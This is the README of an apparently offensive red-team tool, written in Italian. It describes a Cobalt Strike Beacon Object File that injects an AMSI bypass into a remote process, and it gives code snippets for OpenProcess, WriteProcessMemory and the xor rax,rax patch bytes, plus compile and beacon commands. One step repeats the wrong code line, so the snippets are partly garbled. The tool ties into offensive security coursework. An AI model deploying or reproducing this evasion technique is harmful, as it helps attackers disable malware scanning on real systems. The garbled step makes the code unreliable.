Cobalt Strike BOF - Inietta bypass AMSI
Cobalt Strike Beacon Object File (BOF) che bypassa AMSI in un processo remoto con code injection.
Esecuzione di inject-amsiBypass BOF da CobaltStrike

Cosa fa?
1. Usa l'argomento PID fornito per ottenere un handle sul processo remoto
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. Carica AMSI.DLL nella memoria del beacon e ottieni l'indirizzo di AMSI.AmsiOpenSession
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- Sia il beacon che il processo di destinazione avranno lo stesso indirizzo per il simbolo.
- Se AMSI.DLL non esiste nel processo remoto, eseguire questo potrebbe far crashare il processo di destinazione.
3. Scrivi il bypass AMSI nella memoria del processo remoto
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
Metodo = AMSI.AmsiOpenSession
- Utilizza la tecnica di bypass AMSI insegnata nel corso PEN-300/OSEP di Offensive Security (Evasion Techniques and Breaching Defenses).
Screenshot della demo del Proof of Concept
Prima - Powershell.exe AMSI.AmsiOpenSession

Dopo - Powershell.exe AMSI.AmsiOpenSession

Compila con x64 MinGW:
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
Esegui dalla console Cobalt Strike Beacon
beacon> inject-amsiBypass <PID>
- Assicurati di caricare lo script inject-amsiBypass.cna nel Cobalt Strikes Script Manager
Lista delle cose da fare
- Verifica che AMSI.DLL esista nel processo remoto prima dell'iniezione
- Aggiungi altri bypass AMSI da iniettare
- Supporto per x86
Crediti / Riferimenti
Raphael Mudge - Beacon Object Files - Luser Demo
Cobalt Strike - Beacon Object Files
Riferimenti al codice BOF
ajpc500/BOFs
trustedsec/CS-Situational-Awareness-BOF
Corso Sektor7 Malware Dev Essentials
Offensive Security OSEP